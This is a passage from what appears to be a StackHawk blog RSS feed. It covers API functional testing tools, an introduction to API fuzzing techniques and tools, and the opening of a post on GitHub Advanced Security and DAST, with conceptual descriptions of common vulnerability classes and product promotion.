Documentation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Clear and concise API documentation is crucial for understanding the API&amp;#39;s functionality, input parameters, and expected outputs. However, inadequate or outdated documentation can hinder the ability to design practical test cases and interpret API responses accurately.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Handling Complex Parameter Combinations&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs often involve numerous parameters with intricate dependencies and constraints. Testing all possible parameter combinations can be challenging, especially when dealing with large or complex APIs. Plotting out all of the different combinations manually can be a lift, but it&amp;#39;s luckily becoming a bit easier in the age of AI.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Managing Test Data&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In the same vein as the point above, generating and managing test data for various scenarios can be tough as well. This is especially true when dealing with large request and response payloads or different branches of logic within an API&amp;#39;s business logic, all requiring different variations. Ensuring data consistency and integrity across different test cases can also be challenging, especially if working with a live database.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Testing API Dependencies&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs often rely on other APIs or external services, creating dependencies that can complicate testing. Isolating the API under test and mocking dependencies can be challenging, especially when dealing with complex integration scenarios. Generally, this involves using additional tools to mock out the third-party API requests or database mocks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Updating Tests for API Changes&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs evolve over time, with new versions and updates introducing changes to functionality and parameters. Keeping API tests up-to-date with these changes can be challenging, requiring constant maintenance and refactoring of test cases to match the latest API specs and functionality.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Choosing the Right Testing Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As anyone in tech knows, there are many tools for everything, and functional API testing tools are no exception. Choosing tools that align with your testing needs and integrate well with your existing development environment can be tough. With a new wave of AI-enabled testing tools, this also doesn&amp;#39;t make it any easier.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Testing for Security Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Functional testing sometimes only scratches the surface of certain issues, such as ones impacting&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt; &lt;u&gt;application security&lt;/u&gt;&lt;/a&gt;. Identifying security vulnerabilities in APIs, beyond very basic authentication flaws and authorization issues, requires specialized knowledge and tools. Ensuring comprehensive security testing can be challenging, especially for testers without a strong security background.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Testing Asynchronous APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Testing APIs that involve asynchronous operations or callbacks can be complex, as it requires handling timing issues and ensuring that responses are received and processed correctly. This makes it complex to cover all logic branches and test all error cases.&lt;/p&gt;&lt;p&gt;Although these challenges exist, the benefits far outweigh them. Much of the time, with a bit of research, these challenges can be easily mitigated or at least brought down to size. Next, let&amp;#39;s figure out which tools you need to get in your hands to begin functionally testing your APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Best API Functional Testing Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The market offers a wide array of API functional testing tools, each with its own strengths and weaknesses. Selecting the right tool depends on factors such as project requirements, team expertise, and budget constraints. Here are some of the leading API functional testing tools:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Postman&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/postman-for-testing-apis/&quot;&gt;&lt;u&gt;Postman&lt;/u&gt;&lt;/a&gt; is a popular API platform that provides a comprehensive set of features for designing, developing, testing, and documenting APIs.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Key Features:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;User-friendly interface for sending requests and analyzing responses.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Support for various HTTP methods and data formats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Built-in test scripts for automating API tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Collaboration features for sharing collections and workspaces.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integration with CI/CD pipelines.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Best For:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Teams of all sizes, from individual developers to large enterprises.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;API testing across various stages of the development lifecycle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Collaboration and knowledge sharing among team members.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;2. REST-assured&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;REST-assured is a Java library specifically designed for testing RESTful APIs.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Key Features:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Domain-specific language (DSL) for writing expressive and readable tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Seamless integration with Java development environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Support for various authentication mechanisms and data formats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Extensive assertion capabilities for validating API responses.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Best For:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Java developers comfortable with using libraries and frameworks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Testing complex API scenarios with intricate data structures.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integration with existing Java-based testing frameworks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;3. SoapUI&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;SoapUI is an open-source tool that supports both SOAP and&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/#testing-api-call-sequences&quot;&gt; &lt;u&gt;REST API testing&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Key Features:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Comprehensive functionality for testing various aspects of APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Drag-and-drop interface for creating and executing test cases.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Support for data-driven testing and test automation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Advanced features for security and performance testing.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Best For:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Testers who prefer a visual interface for creating and managing tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Testing both SOAP and REST APIs within a single tool.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Advanced testing scenarios requiring data-driven testing and security analysis.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;4. Karate DSL&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Karate DSL is an open-source framework that combines API testing, mocking, and performance testing into a single tool.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Key Features:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Simple and expressive syntax for writing API tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Built-in support for testing GraphQL APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Parallel execution for faster test runs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integration with popular testing frameworks like JUnit and Cucumber.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Best For:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Teams looking for a unified solution for API testing and mocking.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Testing APIs with complex data structures and scenarios.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integrating API testing into existing CI/CD pipelines.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These are just a few examples of the many API functional testing tools available. When choosing a tool, consider factors such as ease of use, features, integration capabilities, and community support to ensure it aligns with your specific testing needs and preferences. Testing out each tool and diving into a brief proof-of-concept is likely the best way to ensure the tool fits your needs well before doing a full rollout.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;So that’s a wrap on API functional testing! We’ve covered the what, why, and how of it and how to choose the right tools. Functional testing proves your API does what it’s supposed to, but remember, it’s only one piece of the equation. Non-functional testing (performance, security, load testing) is just as important to make sure your API can handle real-world usage and withstand threats.&lt;/p&gt;&lt;p&gt;Looking for security testing that fits into your functional testing workflow? Try StackHawk! StackHawk is a&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;dynamic application security testing&lt;/u&gt;&lt;/a&gt; (DAST) tool for modern applications and APIs that is a great non-functional testing tool to combine with your functional testing efforts.&lt;/p&gt;&lt;p&gt;Here’s how StackHawk helps with API testing:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Security Testing:&lt;/b&gt; StackHawk plugs into your &lt;a href=&quot;https://www.stackhawk.com/blog/running-stackhawk-in-cicd/&quot;&gt;&lt;u&gt;CI/CD pipeline&lt;/u&gt;&lt;/a&gt;, runs security tests with every build, and gives you and your team instant feedback on vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Full Vulnerability Coverage: &lt;/b&gt;StackHawk is specifically designed for APIs and can identify many vulnerabilities in the &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-owasps-top-10-vulnerabilities-explained/&quot;&gt;&lt;u&gt;OWASP API Top 10&lt;/u&gt;&lt;/a&gt; (as many as a DAST tool possibly can) so you can stay ahead of security risks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/&quot;&gt;&lt;b&gt;&lt;u&gt;API Discovery&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; and&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/solutions/oversight/&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;b&gt;&lt;u&gt;Oversight&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; StackHawk goes beyond basic security scanning by adding API discovery and oversight capabilities, giving you a single pane of glass to see your&lt;a href=&quot;https://www.stackhawk.com/blog/defending-against-api-attacks-strategies-for-protecting-your-apis-and-data/&quot;&gt; &lt;u&gt;API attack&lt;/u&gt;&lt;/a&gt; surface. This means you get full visibility into your API landscape, including undocumented or forgotten endpoints (&amp;quot;shadow APIs&amp;quot;) that could be vulnerable to attack and may be missed by functional testing.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By combining StackHawk with your functional testing tools, you can get full API test coverage and ensure your applications are functional and secure. Ready to try it out for yourself?&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up for a free trial&lt;/u&gt;&lt;/a&gt; today.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API Fuzzing: What It Is and How to Use It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-fuzz-testing</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;When it comes to&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/&quot;&gt; &lt;u&gt;testing APIs&lt;/u&gt;&lt;/a&gt;, there are a lot of options out there. Generally, you won&amp;#39;t pick a single approach; instead, you will stitch multiple types of testing together to create an API testing stack. One of these types of testing is API fuzzing or fuzz testing. In this blog, we will go over its basics and how to get started. Let&amp;#39;s begin by understanding the key concepts within API fuzzing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Fuzzing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In its most simple form, API fuzzing is a&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt; &lt;u&gt;security testing&lt;/u&gt;&lt;/a&gt; technique where APIs are sent a large number of malformed or unexpected input values. The hope is that through these inputs, certain vulnerabilities or issues will appear so that developers can find and fix them before attackers can. Overall, the goal of fuzzing is to make APIs and the applications they support more secure and reliable.&lt;/p&gt;&lt;p&gt;When developers use fuzzing, they often generate and execute API calls that contain unexpected, invalid, and random data to try and uncover potential vulnerabilities or issues. When developers test their APIs, they usually start with &amp;quot;happy path&amp;quot; tests where the outputs are known, and core application functionality is tested in a predictable way. From here, they may then branch out into some known or expected edge cases. With fuzz testing, developers are forced to go beyond the known and predictable.&lt;/p&gt;&lt;p&gt;API fuzzing is especially useful for:&lt;/p&gt;&lt;p&gt;• Detecting edge cases that could lead to crashes or unexpected behavior.&lt;/p&gt;&lt;p&gt;• Identifying security vulnerabilities like&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt;, buffer overflows, and authorization bypasses.&lt;/p&gt;&lt;p&gt;• Stress testing API endpoints to ensure they remain stable under unexpected input conditions.&lt;/p&gt;&lt;p&gt;In short, fuzz testing allows developers to inundate an API endpoint with random data at high volumes to uncover security or unexpected performance issues.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Comprehensive Testing for API Endpoints&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As mentioned at the beginning of the blog, comprehensive testing for API endpoints involves coupling multiple testing methods together. API fuzzing complements other testing approaches, making it possible for this type of testing to potentially uncover defects and vulnerabilities not found by other types of testing. When creating a testing stack, it&amp;#39;s best to look at what benefits certain testing methods bring. When it comes to fuzz testing APIs, it brings the following benefits:&lt;/p&gt;&lt;p&gt;• &lt;b&gt;Broader Coverage:&lt;/b&gt; Fuzzing explores a wide range of input scenarios, often beyond the imagination of developers.&lt;/p&gt;&lt;p&gt;• &lt;b&gt;Automation-Friendly:&lt;/b&gt; Many fuzzing tools integrate seamlessly into CI/CD pipelines, enabling continuous testing.&lt;/p&gt;&lt;p&gt;• &lt;b&gt;Security Focused:&lt;/b&gt; It is particularly adept at uncovering security flaws to address issues like&lt;a href=&quot;https://www.stackhawk.com/blog/react-command-injection-examples-and-prevention/&quot;&gt; &lt;u&gt;injection attacks&lt;/u&gt;&lt;/a&gt;, improper input validation, and data leakage.&lt;/p&gt;&lt;p&gt;Based on these benefits, some good testing techniques to combine it with include the following:&lt;/p&gt;&lt;p&gt;•&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;b&gt;&lt;u&gt;Dynamic Application Security Testing&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; (DAST):&lt;/b&gt; While DAST tests APIs in runtime conditions to identify potential vulnerabilities, like insecure authentication, fuzzing digs deeper by deliberately sending malformed inputs to observe failures. Although these two can feel similar at times, DAST usually works to uncover specific vulnerabilities, whereas fuzzing can also uncover bugs, crashes, or other instability issues that might not pose any immediate security threat.&lt;/p&gt;&lt;p&gt;• &lt;b&gt;Unit and Integration Testing:&lt;/b&gt; These types of static tests work to ensure application functionality works as expected. Fuzzing extends this by challenging input validity assumptions and scenarios outside the predictable and &amp;quot;happy path.&amp;quot;&lt;/p&gt;&lt;p&gt;• &lt;b&gt;Load Testing:&lt;/b&gt; In some cases, load and stress testing can incorporate fuzzing to simulate chaotic input scenarios under heavy load. Combining the two can give you a similar output to chaos testing.&lt;/p&gt;&lt;p&gt;These aren&amp;#39;t the only testing methods that work well with fuzzing, but you get the idea: combining various methods together helps to create a more holistic testing strategy. So, how would you go about bringing fuzz testing into your toolkit? Let&amp;#39;s look at that next.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Fuzz Testing Techniques and Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this section, we will briefly look at specific fuzz testing techniques and the tools you can use to implement these techniques. First, let&amp;#39;s look at techniques.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Fuzz Testing Techniques&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Although there are probably numerous variants of fuzz testing techniques, three stand out as some of the most popular. These include:&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Swarm Testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;This technique rapidly sends diverse and randomized inputs to your API endpoints, mimicking unpredictable real-world scenarios to uncover bugs and performance bottlenecks. When people imagine fuzz testing in their heads, this is usually the default technique that comes to mind.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Schema Fuzzing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;More specific to APIs, schema fuzzing uses API specifications, such as OpenAPI or JSON Schema, to generate test cases that align with or deliberately violate expected input structures. This technique is a little more pointed than swarm testing APIs.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Stateful REST API Fuzzing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;If APIs require stateful testing or are part of a workflow (multiple API calls that are called in succession to complete a task), stateful&lt;a href=&quot;https://www.stackhawk.com/blog/rest-api-security-best-practices/&quot;&gt; &lt;u&gt;REST API&lt;/u&gt;&lt;/a&gt; fuzzing can be used. This technique tests APIs in the context of their operational state by executing sequences of API calls to identify issues in workflows or dependencies.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Popular Fuzz Testing Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now that you know some of the techniques, you can begin to explore the tools. Just like any testing, there&amp;#39;s a massive abundance of tools that can help developers implement fuzz testing within their testing stack. Here are three that will give you a good place to start:&lt;/p&gt;&lt;h4&gt;&lt;b&gt;RESTler&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Developed by Microsoft, RESTler is an open-source, extensible framework for fuzzing RESTful APIs. This API Fuzzer is particularly good at stateful API fuzzing and understanding the relationships between different API calls. RESTler excels at finding complex bugs that surface through sequences of API calls (e.g., authentication flaws and authorization issues in multi-step processes).&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Key Highlights:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Learns API request sequences from OpenAPI specifications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Generates and executes tests based on learned API behavior.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Provides detailed bug reports with reproduction steps.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Radamsa&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;This tool is a general-purpose fuzzer known for its speed and simplicity. While not API-specific, it can be used to generate invalid or unexpected data that you then feed into your API requests. Radamsa is excellent for basic swarm testing, where you want to throw a large volume of randomized, invalid inputs at your API to see what breaks. It&amp;#39;s less specialized than RESTler but can be very effective for raw fuzzing power.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Key Highlights:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Lightweight and fast.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Supports a wide range of file formats and data types.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Highly configurable mutation engine.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Fuzzapi&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Fuzzapi is a Python-based API fuzzing tool designed for ease of use. It allows you to define fuzzing targets and mutation strategies in a simple YAML format. Fuzzapi is a good choice for teams looking for a straightforward way to incorporate fuzzing into their testing process. It supports both schema fuzzing and swarm testing, providing flexibility in approaching your fuzzing strategy.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Key Highlights&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Simple setup and configuration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Supports various fuzzing methods (e.g., mutation, generation).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integrates well with CI/CD pipelines.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Best Practices for API Fuzzing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;For those implementing fuzz testing as part of their testing and development process, there are a few best practices to be aware of. These best practices include:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Define Clear Objectives For Your Tests&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Understand whether you are testing for functional bugs, security vulnerabilities, or performance issues. Knowing why you are testing can help to keep tests targeted and allow results to be interpreted in context.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use Your API Docs To Lead The Way&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When it comes to kicking off testing, use OpenAPI documentation or other formats, if applicable, to generate meaningful test cases. By referencing these docs, you&amp;#39;ll know exactly what each API request should look like and the corresponding fields in the response, such as a status code or expected headers.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automate and Integrate&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Although fuzzing tools can be run locally, automated test execution can be incorporated into CI/CD pipelines for continuous testing and test reliability. Making pull requests automatically kick off a fuzz testing job and report as part of your pipeline is a great way to make sure that all developers are in the know and that all code is covered.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Prioritize Endpoints&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you have a large portfolio of API endpoints, identify your most critical place to begin implementation. Focus on high-risk endpoints handling sensitive data or performing critical operations, as these should be put under test as a priority. Eventually, roll out test coverage more holistically but ensure that critical endpoints and the code within them are covered via your fuzz testing efforts.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Analyze Results&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Don&amp;#39;t blindly follow the reports of your fuzz testing efforts since not all issues will be of the same weight. Fuzzing can produce a lot of noise; prioritize issues based on exploitability and impact.&lt;/p&gt;&lt;p&gt;With these best practices in place, you&amp;#39;ll be on a good path toward efficiently implementing fuzz testing for your APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With that, you&amp;#39;re now familiar with API fuzzing and ready to try it out for yourself. Remember to keep the various types of fuzz testing in mind as you move forward, consider automated tools to make testing easier, and always follow the best practices we discussed. Of course, for those who want to augment their testing beyond simply fuzz testing,&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&amp;#39;s&lt;/u&gt;&lt;/a&gt; DAST platform can help in multiple ways.&lt;/p&gt;&lt;p&gt;First, StackHawk&amp;#39;s DAST platform can augment your fuzzing efforts through its DAST tool, specifically designed to help you find and fix many&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-owasps-top-10-vulnerabilities-explained/&quot;&gt; &lt;u&gt;vulnerabilities in the OWASP&lt;/u&gt;&lt;/a&gt; API Top Ten. This can help to confirm if bugs found during the fuzz testing process are exploitable security vulnerabilities.&lt;/p&gt;&lt;p&gt;On top of this, StackHawk also offers&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-api-discovery-everything-you-need-to-know/&quot;&gt; &lt;u&gt;API Discovery&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.stackhawk.com/solutions/oversight/&quot;&gt; &lt;u&gt;Oversight&lt;/u&gt;&lt;/a&gt;. API discovery can help to ensure that every API in your codebase is accounted for and brought under test for both DAST and API fuzzing. Oversight allows you to see your entire attack surface under a single pane of glass, making security operations more straightforward to manage and track.&lt;/p&gt;&lt;p&gt;Want to try out StackHawk for yourself today?&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up for a free trial&lt;/u&gt;&lt;/a&gt; and combine the best DAST for APIs with the power of API fuzz testing that we covered in this blog.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Maximize Security with GitHub Advanced Security and DAST: What It Is and How to Use It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/maximize-security-with-github-advanced-security-and-dast</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;When developers are trying to ship the latest feature or fix, security can often feel like an unwelcome bottleneck. Balancing rapid innovation with good security practices is a challenge every developer faces. But what if security could keep pace with development velocity, seamlessly integrate into your workflow, and empower you to bake security directly into every piece of your application?&lt;/p&gt;&lt;p&gt;If you&amp;#39;re a GitHub user, you&amp;#39;ve likely come across GitHub&amp;#39;s solution to this: &lt;b&gt;GitHub Advanced Security&lt;/b&gt;. This suite of security tools is designed to shift security left and make it an integral part of your development process from right within GitHub. With features like code scanning, secret scanning, and dependency review, GitHub Advanced Security helps you identify and address vulnerabilities early in the development lifecycle before they become bigger issues in production.&lt;/p&gt;&lt;p&gt;You can also integrate Dynamic Application Security Testing (DAST) into your GitHub workflow to augment what GitHub Advanced Security offers. DAST allows you to test your running applications for vulnerabilities, providing a real-world perspective on the security risks present inside your application that could be exploited at runtime.&lt;/p&gt;&lt;p&gt;In this blog, we&amp;#39;ll explore the key features of GitHub Advanced Security, delve into the benefits of DAST, and demonstrate how these powerful tools can help you build more secure applications faster. We&amp;#39;ll also show you how to amplify your security efforts by combining GitHub Advanced Security with StackHawk. Let&amp;#39;s begin by doing a brief primer on security vulnerabilities.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Security Vulnerabilities: Understanding the Risks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Security vulnerabilities are weaknesses in your code that attackers can exploit. Vulnerabilities themselves come in all shapes and sizes, with varying levels of severity and impact. If exploited, these weaknesses can lead to big problems like data breaches, financial loss, and damage to your company reputation.&lt;/p&gt;&lt;p&gt;Some common types of security vulnerabilities you&amp;#39;ve likely heard of include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;b&gt;&lt;u&gt;SQL Injection&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; When an attacker injects malicious code into your app to access or manipulate your database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;b&gt;&lt;u&gt;Cross-Site Scripting (XSS)&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Attackers inject malicious scripts into your web pages, to steal user data or hijack user sessions. Attackers can then impersonate your users and do actions on their behalf.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;b&gt;&lt;u&gt;Cross-Site Request Forgery (CSRF)&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;: &lt;/b&gt;Tricking users into doing unwanted actions on your website, like changing their password or making a purchase, by exploiting the trust your website has in a user’s browser.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Remote Code Execution (RCE):&lt;/b&gt; Vulnerabilities that allow attackers to execute code remotely on your system. This can happen due to misconfigured systems or handling of untrusted data, especially with XML sources, which is a critical security risk.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Understanding every vulnerability type, how it appears in your code base, and whether it can be exploited is really tough to do. Luckily, unlike developers in the past, there&amp;#39;s been a lot of automation added to the developers&amp;#39; toolkit to help with this.&lt;/p&gt;&lt;p&gt;As an automated set of tools, this is where GitHub Advanced Security comes in. It helps you find vulnerabilities in your code, prioritize them by severity, and provides guidance on how to fix them. By integrating security checks into your development workflow, you can prevent these vulnerabilities from being introduced into production code (without knowing how to find and fix every vulnerability manually) and build more secure applications.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is GitHub Advanced Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;GitHub Advanced Security is an extensive offering when it comes to tooling to build secure software. It’s a comprehensive suite of features baked into GitHub that integrate seamlessly with your development workflow. Using the various features can help you identify and address security vulnerabilities throughout the software development lifecycle and truly focuses on the shift-left methodology of finding everything as early as possible.&lt;/p&gt;&lt;p&gt;Of course, there are tons of security products out there but here’s what sets GitHub Advanced Security 